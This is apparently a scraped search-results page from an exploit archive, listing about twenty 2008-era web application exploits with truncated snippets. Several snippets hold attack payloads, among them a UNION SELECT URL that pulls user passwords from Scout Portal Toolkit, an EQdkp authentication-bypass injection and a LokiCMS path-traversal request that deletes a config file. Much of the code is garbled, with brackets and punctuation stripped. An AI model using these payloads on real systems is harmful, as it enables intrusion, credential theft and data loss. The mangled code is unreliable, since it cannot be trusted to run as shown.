3108 matches found
PHP Jokesite 2.0 - 'cat_id' SQL Injection
|| || | || o,7 || . o7 || 4||| ow, : / / . ================================ ========================== ==================== |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ Kings...
MeltingIce File System <= 1.0 Remote Arbitrary Add-User Exploit
Exploit for unknown platform in category web applications =============================================================== MeltingIce File System ; print "\nUsernamecreate's your username: "; chompmy $usr=; print "\nPasswordcreate's your password: "; chompmy $pwd=; print "\nEnter Quotaquotamb of...
Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit
No description provided by source. !/usr/bin/perl use strict; use LWP::UserAgent; print "-+- Pet Grooming Management System = 2.0 Arbitrary Add-Admin Exploit -+-\n"; print "-+- Discovered && Coded By: t0pP8uZz - Discovered On: 15 MAY 2008 -+-\n"; print "-+- Script Download:...
Smeego 1.0 - Cookie lang Local File Inclusion
Smeego 1.0 - Cookie lang Local File Inclusion Smeego CMS Local File Include Exploit by 0in from Dark-Coders Programming & Security Group http://dark-coders.4rh.eu File: mainfile.php if $displayerrors == 1 // We don't se any errors ; @iniset'displayerrors', 1; else @iniset'displayerrors', 0; if...
SunShop Version 3.5.1 Remote Blind Sql Injection
!/usr/bin/perl -w use LWP::UserAgent; scripts : SunShop Version 3.5.1 Remote Blind Sql Injection scripts site : http://www.turnkeywebtools.com/sunshop/ Discovered By : irvian site : http://irvian.cn email : [email protected] print "rn+-----------------------------------------+rn"; print "+Bli...
CMS Made Simple <= 1.2.4 (FileManager module) File Upload Exploit
No description provided by source. ?php / --------------------------------------------------------------------------- CMS Made Simple = 1.2.4 FileManager module Arbitrary File Upload Exploit --------------------------------------------------------------------------- author...: EgiX...
Lanius CMS 1.2.16 - 'FCKeditor' Arbitrary File Upload
0 && !inarray $sExtension, $arAllowed || count$arDenied 0 && inarray $sExtension, $arDenied 63. SendResults '202' ; 64. 65. $sErrorNumber = '0' ; 66. $sFileUrl = '' ; 67. 68. // Initiali...
CaLogic Calendars 1.2.2 - langsel SQL Injection
CaLogic Calendars 1.2.2 - langsel SQL Injection /---------------------------------------------------------------\ \ / / CaLogic Calendars V1.2.2 Remote SQL injection \ \ / ---------------------------------------------------------------/ Author : His0k4 ALGERIAN HaCkEr Dork : "CaLogic Calendars...
EQdkp 1.3.2f - user_id Authentication Bypass
EQdkp 1.3.2f - userid Authentication Bypass ?php // EQDKP 1.3.2f Authentication Bypass PoC // [email protected] $data'autologinid' = 'x'; $data'userid' = "1' " . "UNION SELECT " . "1, " . // userid "'a', " . // username "'x', " . // userpassword "'', " . // useremail "1, " . // useralimit "1, "...
Linkspile (link.php cat_id) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ============================================================== Linkspile link.php catid Remote SQL Injection Vulnerability ============================================================== Remote SQL Injection Vulnerabilities Linkspile link.p...
OBlog (tags.asp) Remote SQL Injection Exploit
No description provided by source...
galleristic-sql.txt
/', $request$i, $response; if!empty$response1 return $response1 . ''; Usage : Run in a browser as : http://yourbox/exploit.php?target=http://targetbox/path/ ifempty$GET'target' die'No target site specified!'; else for$c = 1; $c...
Galleristic 1.0 - cat SQL Injection
Galleristic 1.0 - cat SQL Injection /', $request$i, $response; if!empty$response1 return $response1 . ''; Usage : Run in a browser as : http://yourbox/exploit.php?target=http://targetbox/path/ ifempty$GET'target' die'No target site specified!'; else for$c = 1; $c milw0rm.com 2008-05-07...
maianguestbook-xss.txt
---------------------------------------------------------------- Script : Maian Guestbook v3.2 Type : XSS Vulnerabilities ---------------------------------------------------------------- Discovered by : Khashayar Fereidani Or Dr.Crash Our Team : IRCRASH...
Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================================== Scout Portal Toolkit new or die; my...
Scout Portal Toolkit 1.4.0 - ParentId SQL Injection
Scout Portal Toolkit 1.4.0 - ParentId SQL Injection !/usr/bin/perl Scout Portal Toolkit new or die; my $go=$cnx-get$victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concatUserName,char34,UserPassword,6,7,8+from+APUsers/"; if $go-content = m/APUsers/\'...
chicomas204-xss.txt
Author : Hadi Kiamarsi ---------------------------------------------------------------------------------- Discovered by : Hadi Kiamarsi ---------------------------------------------------------------------------------- Exploited By : Hadi Kiamarsi...
CVE-2008-1381
ZoneMinder before 1.23.3 allows remote authenticated users, and possibly unauthenticated attackers in some installations, to execute arbitrary commands via shell metacharacters in a crafted URL...
Project Based Calendaring System (PBCS) 0.7.1 - Multiple Vulnerabilities
Project Based Calendaring System PBCS 0.7.1 - Multiple Vulnerabilities Project Based Calendaring System PBCS Version 0.7.1 Multiple Vulnerabilities Script: http://www.pbcs.org/pbcsdownload.php Poc : Hi str0ke Thanx To Posted but I Want Add Some Vulns In This Script 1- remote file upload...
LokiCMS 0.3.3 - Arbitrary File Delete
Name : LokiCMS 0.3.3 = Arbitrary File Delete Vulnerability Author : cOndemned Greetz : ZaBeaTy, GregStar, irk4z, doctor, Avantura ; Usage: http://target/lokiCMS/admin.php?delete=path/file PoC: http://target/lokiCMS/admin.php?delete=../includes/Config.php Deleting Config.php will casue situation...